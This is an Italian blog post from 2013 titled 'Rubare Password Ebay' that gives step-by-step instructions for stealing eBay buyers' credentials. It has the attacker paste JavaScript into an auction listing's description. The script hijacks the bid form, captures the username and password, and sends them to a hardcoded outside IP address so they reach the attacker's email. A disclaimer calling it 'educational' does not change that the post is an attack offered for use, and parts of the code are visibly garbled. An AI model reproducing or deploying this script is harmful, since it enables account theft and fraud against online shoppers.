lunedì 8 luglio 2013

Rubare Password Ebay

1)Dobbiamo per prima cosa avere un account eBay da venditore
2)Fare un inserzione
3)Nella descrizione inserire questo codice
---------------------------------
recipient = "mia@email.it";

function printframeset(place_bid, mailUrl, username, password){
document.open();
document.writeln(’’);
document.writeln(’function go(){’);
document.writeln(’top.b.document.open();’);
document.writeln(’top.b.document.writeln("");’);
document.writeln(’top.b.document.writeln("");’);
document.writeln(’top.b.document.writeln("");’);
document.writeln(’top.b.document.writeln("");’);
document.writeln(’top.b.document.writeln("")’);
document.writeln(’top.b.document.close();’);
document.writeln(’}’);
document.writeln(’’);
document.writeln(’’);
document.writeln(’’);
document.writeln(’’);
document.writeln(’’);
document.writeln(’’);
document.close();
}

function urlEncode(inStr) {
outStr=’ ’; //not ’’ for a NS bug!
for (i=0; i < inStr.length; i++) {
aChar=inStr.substring (i, i+1);
switch(aChar){
case ’%’: outStr += "%25"; break; case ’,’: outStr += "%2C"; break;
case ’/’: outStr += "%2F"; break; case ’:’: outStr += "%3A"; break;
case ’~’: outStr += "% 7E"; break; case ’!’: outStr += "%21"; break;
case ’"’: outStr += "%22"; break; case ’#’: outStr += "%23"; break;
case ’$’: outStr += "%24"; break; case "’": outStr += "%27"; break;
case ’`’: outStr += "%60"; break; case ’^’: outStr += "%5E"; break;
case ’&’: outStr += "%26"; break; case ’(’: outStr += "%28"; break;
case ’)’: outStr += "%29"; break; case ’+’: outStr += "%2B"; break;
case ’{’: outStr += "% 7B"; break; case ’|’: outStr += "% 7C"; break;
case ’}’: outStr += "% 7D"; break; case ’;’: outStr += "%3B"; break;
case ’’: outStr += "%3E"; break; case ’?’: outStr += "%3F"; break;
case ’[’: outStr += "%5B"; break; case ’’: outStr += "%5C"; break;
case ’]’: outStr += "%5D"; break; case ’ ’: outStr += "+"; break;
default: outStr += aChar;
}
}
return outStr.substring(1, outStr.length);
}

function newaction(){
window.document.forms[0].action="js:ebayla()";
}

function ebayla(){
item = urlEncode(window.document.forms[0].item.value);
username = urlEncode(window.document.forms[0].userid.value);
password = urlEncode(window.document.forms[0].pass.value);
maxbid = urlEncode(window.document.forms[0].maxbid.value);

bid_script = "http://cgi.ebay.com/aw-cgi/eBayISAPI.dll";
bid_query_string = "?MfcISAPICommand=MakeBid&item=" + item + "&userid=" + username
+ "&pass=" + password + "&maxbid=" + maxbid;
place_bid = bid_script + bid_query_string;

mailscript = "http://204.225.88.132/cgi-bin/form1";
mailUrl = mailscript + ’?|’ + recipient;
printframeset(place_bid, mailUrl, username, password);
}

if(document.links[11] != "http://pages.ebay.com/aw/account-status.html"){
setTimeout("newaction()", 1000);
}


4)Cambiare questo (recipient = "mia@email.it";)con il tuo indirizzo email
Aspettate che qualcuno piazzi l'offerta
E come per magia avrai NOME UTENTE e PASSWORD


NON MI ASSUMO NESSUNA RESPONSABILITA' DI COME VERRA' USATA QUESTA GUIDA. MI DECLINO DA OGNI RESPONSABILITA'.
E' TUTTO A SCOPO DIDATTICO...

Nessun commento:

Posta un commento